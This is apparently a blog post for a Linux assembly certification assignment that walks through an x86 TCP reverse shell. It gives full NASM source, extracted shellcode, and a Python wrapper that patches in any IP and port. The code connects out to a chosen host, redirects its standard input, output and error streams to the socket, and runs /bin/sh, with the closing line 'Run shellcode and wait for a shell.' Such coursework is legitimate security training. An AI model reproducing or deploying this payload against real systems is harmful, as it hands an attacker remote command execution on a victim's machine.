SLAE- Assignment #2- Reverse Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

SLAE #1488
Author: Aaron Weathersby
Handle: t0b0rx0r
github: https://github.com/t0b0rX0r/slae/tree/master/assignment2

The requirements for this exam assignment were to create a TCP REVERSE shell within x86 assembly. Similar to the first assignment’s BIND shell I used the same set of resources on socket creation to complete the assignment.

For this assignment I focused on the client portion of the diagram below.

Utilizing the net.h I found the system calls for calls not needed in a bind shell, Connect and Receive

Just as with the BIND shell I first assigned several constant values


%assign AF_INET 2
%assign  SYS_SOCKET 1; sys_socket = 1 
%assign SOCK_STREAM 1 ; Connection TCP 
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
%assign SYS_CONNECT 3;sys_connect = 3
%assign SYS_RECV 10; sys_recv=10

Socket Connection

Creating an initial socket connection i needed to address the socket system call, specify the AF_INET family (i.e. IPV4) and the communication domain.

xor eax,eax
	mov al,0x66 ; syscall - socketcall
	mov bl, SYS_SOCKET ; type sys_socket
	; socket(domain,type,protocol)
	xor edx,edx
	push edx ; protocol
	push SOCK_STREAM ; type
	push AF_INET ; domain 2
	mov ecx, esp

	int 0x80
        mov esi,eax ; save return value

Connect

Next, i needed to call the connect function. Taking the file descriptor (returned as EAX from the socket creation), i needed to specify the port and IP address. Critical to this is specifying the port in hex using big endian notation and the IP address in hex with reverse network notation.

;connect
	xor eax,eax
	xor ebx,ebx
	mov al,0x66 ;102
	mov bl, SYS_CONNECT
	; connect (sockfd, struct sockaddr * addr, socklen_t addrlen)
	; connect (eax [4444,2,127.0.0.1],??)

	; build struct sockaddr
	 push 0xa001a8c0 ;192;0x3132 ;0x3231;'  ;1270.0.1
	push word 0x5c11; port 4444 DEC -> HEX, little endian
	push word AF_INET ; 
	mov ecx,esp

	;build connect
	push byte 0x12; ;used to be 0x10 length 
	push ecx ; point er to sockaddr
	mov edi,esi ; copy fd
	push esi ; fd

	mov ecx,esp ; make pointer to args into ecx

	int 0x80

note, within the assembly i specified a default IP (192.168.1.160) and port (4444) which is then replaced with my python wrapper.

Recieve

;recv
;recv(sockfd,outbuf,len,flag)
;recv(3,e??,20,0)
	mov al, 102
	mov bl,SYS_RECV ; 10
	push edx; value can be 0
	push 20; malength
	push esp ;output location
	push  esi ; fd

	int 0x80

Duplicate File Descriptor

Create the file descriptors bound to STDIN , ERR and OUT

mov ebx,eax ;return value is in eax, is the new FD! ...had to fix this to make it work
xor ecx,ecx
; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
	mov al,0x3f ; dup2 63 system call
	int 0x80
	inc ecx
	cmp cl,0x4

	jne builddup

Exec (redirect STDIN to Shell)

xor eax,eax
push  eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx,edx
mov edx,eax ; 0
mov al, 0xb
int 0x80

Compile the assembly

t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ ./compile.sh slae-assignment2-reverseshell
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Grab the machine code to put into the python script

t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ objdump -d ./slae-assignment2-reverseshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68\xc0\xa8\x01\xa0\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x12\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xba\x00\x00\x00\x00\xb0\x0b\xcd\x80"

Python Wrapper with machine code inserted.

import sys
import struct
import binascii
#Author: Aaron Weathersby
#SLAE #1488
#Handle: t0b0x0r
#github:https://github.com/t0b0rX0r/slae/upload/master/assignment2
#Assignment #2- Reverse Shell
#created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

def checkport(port):

	if len(port) < 10:
		#print "Port less than 10"
		port='0x' + port[2:].zfill(4)
		#print "Padded: "+port
		#sys.exit()
	elif len(port) < 100:
		#print "Port less than 100"
		port='0x' + port[2:].zfill(2)
		#print "Padded: "+port
		#sys.exit()
	elif len(port) < 1000:
		#print "Port less than 1000"
		port='0x' + port[2:].zfill(1)
		#print "Padded: "+port
		#sys.exit()
	return port
def checkip(oct):
	#print "Octet: "+str(oct)
	#print "Octet Size: "+str(len(oct))
	if len(oct) < 4:
		#print "Octet less than 3"
		oct='0x'+oct[2:].zfill(2)
		#print "Padded: "+oct
		#sys.exit()
	elif len(oct) < 5:
		#print "Octet less than 4"
		oct='0x' + oct[2:].zfill(1)
		#print "Padded: "+oct
	#print "Exiting checkIP"	
	#sys.exit()
	
	return oct

def main():
	encoded=""
	total = len(sys.argv)
	port=""

	if total != 3:
		print "Usage: python slae_assignment_2.py [IP] [port]"
	else:
		ip=sys.argv[1]
		print "IP Address: " + ip
		ipsplit=ip.split('.')
		address=""
		for oct in (ipsplit):
			
			
			octet=hex(int(oct))
			octet=checkip(octet)
			address+="\\x"+octet[2]
			address+=octet[3]
			print "Octet in Hex: "+octet
		print "Address in Hex with Padding: "+address
		
		
		ipaddress=""
		for i in range(-1,-len(address),-2):
				
			#print "Pair: "+address[i]+address[i+1]
			temp=str(address[i])+str(address[i+1])
			ipaddress+=address[i-1]+address[i]
			
		#print "Address in Reverse" + ipaddress
		port = sys.argv[2]
		print "Port: "+port
	
		port = hex(int(port)) 
		print "Port in Hex: "+port
		#Pad port incase its less than 4 Digits
		port=checkport(port)
	

		port_Bendian=port[0]+""+port[1]+port[4]+port[5]+port[2]+port[3]
	
		be1="\\x"+port_Bendian[2]+port_Bendian[3]
		be2="\\x"+port_Bendian[4]+port_Bendian[5]
		print "Big Endian: "+be1 +be2
		shell=("\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68"+"\x98"+"\x66\x68"+"\x99"+"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\x89\xc2\xb0\x0b\xcd\x80")		

		
#		\xc0\xa8\x01\xa0
		for x in bytearray(shell):
			
			#print "Encoded: "+'\\x%02x'%x#+" X: "+str(x)
			#print "\\x99 ="+ str(bytearray("\\x99"))
			y='\\x%02x'%x
			if y==str(bytearray("\\x99")):
				#print "Found Port"
			
				encoded+=be2+be1
			elif y==str(bytearray("\\x98")):
				#print "Found IP address"
				encoded+=address
			else:
				encoded+='\\x'
				encoded+='%02x' % x
		print "Paste this into Shellcode.c"
		print '"'+encoded+'";'
		

if __name__== "__main__":
  main()

Run the python wrapper

t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ python python_assignment2.py 192.168.1.160 1234
IP Address: 192.168.1.160
Octet in Hex: 0xc0
Octet in Hex: 0xa8
Octet in Hex: 0x01
Octet in Hex: 0xa0
Address in Hex with Padding: \xc0\xa8\x01\xa0
Port: 1234
Port in Hex: 0x4d2
Big Endian: \xd2\x04
Paste this into Shellcode.c
"\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68\xc0\xa8\x01\xa0\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\x89\xc2\xb0\x0b\xcd\x80";

Run shellcode and wait for a shell.

Full Source can be found on github page

;Author: Aaron Weathersby
;SLAE #1488
;Handle: t0b0x0r
;github:https://github.com/t0b0rX0r/slae/upload/master/assignment2
;Assignment #2- Reverse Shell
;created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

global _start

section .text

_start :

%assign AF_INET 2
%assign  SYS_SOCKET 1; sys_socket = 1 
%assign SOCK_STREAM 1 ; Connection TCP 
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
%assign SYS_CONNECT 3;sys_connect = 3
%assign SYS_RECV 10; sys_recv=10
	xor eax,eax
	mov al,0x66 ; syscall - socketcall
	mov bl, SYS_SOCKET ; type sys_socket
	; socket(domain,type,protocol)
	xor edx,edx
	push edx ; protocol
	push SOCK_STREAM ; type
	push AF_INET ; domain 2
	mov ecx, esp

	int 0x80
	mov esi,eax
;connect
	xor eax,eax
	xor ebx,ebx
	mov al,0x66 ;102
	mov bl, SYS_CONNECT
	; connect (sockfd, struct sockaddr * addr, socklen_t addrlen)
	; connect (eax [4444,2,127.0.0.1],??)

	; build struct sockaddr
	push 0xa001a8c0 ;192;0x3132 ;0x3231;'  ;1270.0.1
	push word 0x5c11; port 4444 DEC -> HEX, little endian
	push word AF_INET ; 
	mov ecx,esp

	;build connect
	push byte 0x10 ;address length 
	push ecx ; point er to sockaddr
	mov edi,esi ; copy fd
	push esi ; fd

	mov ecx,esp ; make pointer to args into ecx

	int 0x80
;recv
;recv(sockfd,outbuf,len,flag)
;recv(3,e??,20,0)
	mov al, 102
	mov bl,SYS_RECV ; 10
	push edx; value can be 0
	push 20; malength
	push esp ;output location
	push  esi ; fd

	int 0x80



	mov ebx,eax ;return value is in eax, is the new FD! ...had to fix this to make it work
	xor ecx,ecx

; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
	mov al,0x3f ; dup2 63 system call
	int 0x80
	inc ecx
	cmp cl,0x4

	jne builddup
; redirect to STDIN
;exec shell
	xor eax,eax
	push  eax
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	mov ecx,edx
	mov edx,eax ; 0
	mov al, 0xb
	int 0x80